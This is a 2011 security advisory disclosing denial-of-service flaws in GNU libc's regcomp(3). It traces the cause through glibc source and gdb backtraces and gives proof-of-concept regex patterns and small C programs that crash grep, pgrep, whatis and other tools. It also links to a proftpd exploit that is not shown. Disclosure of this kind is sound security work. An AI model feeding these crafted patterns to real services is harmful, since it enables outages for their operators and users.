GNU libc/regcomp(3) Multiple Vulnerabilities

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[ GNU libc/regcomp(3) Multiple Vulnerabilities ]
 
Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- - Dis.: 01.10.2010
- - Pub.: 07.01.2011
 
CERT: VU#912279
CVE:
CVE-2010-4051
CVE-2010-4052
 
Affected (tested):
- - Ubuntu 10.10
- - Slackware 13
- - Gentoo 18.10.2010
- - FreeBSD 8.1 (grep(1))
- - NetBSD 5.0.2 (grep(1))
 
Original URL:
http://securityreason.com/achievement_securityalert/93
 
Exploit for proftpd:
http://cxib.net/stuff/proftpd.gnu.c
 
 
- --- 0.Description ---
The GNU C library is used as the C library in the GNU system and most
systems with the Linux kernel.
 
# define RE_DUP_MAX (0x7fff)
 
regcomp() is used to compile a regular expression into a form that is
suitable for subsequent regexec() searches.
 
 
- --- 1. RE_DUP_MAX overflow ---
The main problem exists in regcomp(3) function of GNU libc implementation.
Let`s try understand..
 
- ---
int
regcomp (preg, pattern, cflags)
regex_t *__restrict preg;
const char *__restrict pattern;
int cflags;
{
- ---
 
if we use '{', token type will be OP_OPEN_DUP_NUM.
 
- ---
/* This function parse repetition operators like "*", "+", "{1,3}" etc.
*/
 
static bin_tree_t *
parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa,
re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err)
{
bin_tree_t *tree = NULL, *old_tree = NULL;
int i, start, end, start_idx = re_string_cur_idx (regexp);
re_token_t start_token = *token;
 
if (token->type == OP_OPEN_DUP_NUM)
{
end = 0;
start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE
- ---
 
let`s see fetch_number =>
 
- ---
static int
fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax)
{
int num = -1;
unsigned char c;
while (1)
{
fetch_token (token, input, syntax);
c = token->opr.c;
if (BE (token->type == END_OF_RE, 0))
return -2;
if (token->type == OP_CLOSE_DUP_NUM || c == ',')
break;
num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2)
? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0'));
num = (num > RE_DUP_MAX) ? -2 : num;
}
return num;
}
- ---
 
now see regex.h to know, what value have RE_DUP_MAX
 
- ---
/* Maximum number of duplicates an interval can allow. Some systems
(erroneously) define this in other header files, but we want our
value, so remove any previous define. */
# ifdef RE_DUP_MAX
# undef RE_DUP_MAX
# endif
/* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */
# define RE_DUP_MAX (0x7fff)
#endif
- ---
 
calc_eclosure_iter() will call to calc_eclosure_iter() match time. and
crash in malloc(3). Simple Recursion.
 
so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR
if we use more that one time '{' token.
 
They are many vectors attack
 
grep(1):
[email protected]:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
 
pgrep(1):
[email protected]:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
 
bregex from bacula-director-common
[email protected]:~$ bregex -f glob-0day.c
Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,}
Segmentation fault
 
whatis(1):
[email protected]:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}"
Segmentation fault
 
and more like proftpd.
 
Simple crash for CVE-2010-4051
(gdb) x/i $rip
=> 0x7ffff7ad3ea2: mov %eax,0x50(%rsp)
(gdb) x/i $eax
0x2: Cannot access memory at address 0x2
(gdb) x/i $rsp
0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90
(gdb) x/i 0x50($rsp)
Cannot access memory at address 0x7fffff5fef08
 
 
#0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6
#1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6
#2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6
#3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
#7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6
...
 
- ---PoC1---
#include <regex.h>
 
int main(){
regex_t preg;
 
// char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051
 
regcomp (&preg, fmt, REG_EXTENDED);
 
return 0;
}
- ---PoC1---
 
- --- 2. Stack Exhausion ---
This issue, may be also use to Denial of Service by stack exhausion
 
#ls |grep -E ".*{10,}{10,}{111111,}"
 
- ---PoC2---
#include <regex.h>
 
int
main ()
{
regex_t preg;
 
char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052
// char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051
 
regcomp (&preg, fmt, REG_EXTENDED);
 
return 0;
}
- ---PoC2---
 
Such a pattern may lead to allocate a large memory area, or large execution
time
 
As we can read in vsftpd/HACKING
 
- ---
- do not use libc features that are "complicated"
and may contain security holes. For example, you probably shouldn't
try to use regcomp() to compile an untrusted regular expression.
Regular expressions are just too complicated, and there are many
different libc's out there.
- ---
 
That's true. But the worst implementation of lib C is GNU. There is a huge
difference using proftpd on NetBSD and Linux
 
 
- --- 3. Stack Exhausions ---
Stack Exhausions was found in GNU glibc.
 
- ---PoC3---
/bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
- ---PoC3---
 
when more '+' that more allocated memory. But let's see next one
 
- ---PoC4---
[email protected]:~$ ulimit -m 100000
[email protected]:~$ ulimit -v 200000
[email protected]:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx
Segmentation fault
[email protected]:~$
- ---PoC4---
 
the same command like in PoC 3, fails.
 
(gdb) r "/(.*++++++++++++++++++(\w+))/im" cx
Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx
/bin/egrep: Memory exhausted
 
Add one "+" more
 
Program exited with code 02.
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
 
Program received signal SIGSEGV, Segmentation fault.
__libc_free (mem=0x7ffff720a010) at malloc.c:3709
3709 if (chunk_is_mmapped(p)) /* release mmapped
memory. */
(gdb) bt
#0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709
#1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600
#2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0,
 
length=140737488347176, syntax=<value optimized out>) at regcomp.c:823
#3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0,
length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231
 
- ---malloc.c---
...
if (mem == 0) /* free(0) has no effect */
return;
 
p = mem2chunk(mem);
 
#if HAVE_MMAP
if (chunk_is_mmapped(p))
...
- ---malloc.c---
 
where
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
 
mem variable (mem=0x7ffff720a010)
 
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: 0x00
 
or
 
(gdb) x/x 0x7ffff720a010
0x7ffff720a010: Cannot access memory at address 0x7ffff720a010
 
(gdb) x/i $rip
=> 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi
(gdb) x/i $rdi
0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010
(gdb) x/i $rsi
0x0: Cannot access memory at address 0x0
 
or check this
 
(gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx
The program being debugged has been started already.
Start it from the beginning? (y or n) y
 
Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx
 
Program received signal SIGSEGV, Segmentation fault.
parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
2547 if (elem->token.type == SUBEXP)
(gdb) x/i $rip
=> 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15)
(gdb) x/i $r15
0x0: Cannot access memory at address 0x0
 
rax 0x0 0
rbx 0x61f0c0 6418624
rcx 0xffffffffffffffa8 -88
rdx 0x0 0
rsi 0x61f0c0 6418624
rdi 0x0 0
rbp 0x7fffffffe010 0x7fffffffe010
rsp 0x7fffffffdb70 0x7fffffffdb70
r8 0xffffffff 4294967295
r9 0x0 0
r10 0x4022 16418
r11 0x246 582
r12 0x7fffffffdf70 140737488346992
r13 0x4730ae8 74648296
r14 0xffffffff 4294967295
r15 0x0 0
rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756>
 
#0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2547
#1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>,
token=0x7fffffffe010, syntax=<value optimized out>,
nest=<value optimized out>, err=<value optimized out>) at
regcomp.c:2390
#2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0,
token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163
#3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0,
syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122
 
 
if (BE (start > 0, 0))
{
tree = elem;
for (i = 2; i <= start; ++i)
{
elem = duplicate_tree (elem, dfa);
tree = create_tree (dfa, tree, elem, CONCAT);
if (BE (elem == NULL || tree == NULL, 0))
goto parse_dup_op_espace;
}
 
if (start == end)
return tree;
 
/* Duplicate ELEM before it is marked optional. */
elem = duplicate_tree (elem, dfa);
old_tree = tree;
}
else
old_tree = NULL;
 
if (elem->token.type == SUBEXP) <=CRASH HERE
 
These vulnerabilities are not really dangerous. However, there is the
possibility to use the DoS attack. An example might be an exploit for
proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the
GNU should fix the problem.
 
 
- --- 4. Exploit ---
proftpd/linux:
http://cxib.net/stuff/proftpd.gnu.c
 
 
- --- 5. Greets ---
Christos Zoulas, US-CERT, sp3x, Infospec
 
 
- --- 6. Contact ---
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
 
Email:
- - cxib {a\./t] securityreason [d=t} com
 
GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
 
http://securityreason.com/
http://cxib.net/
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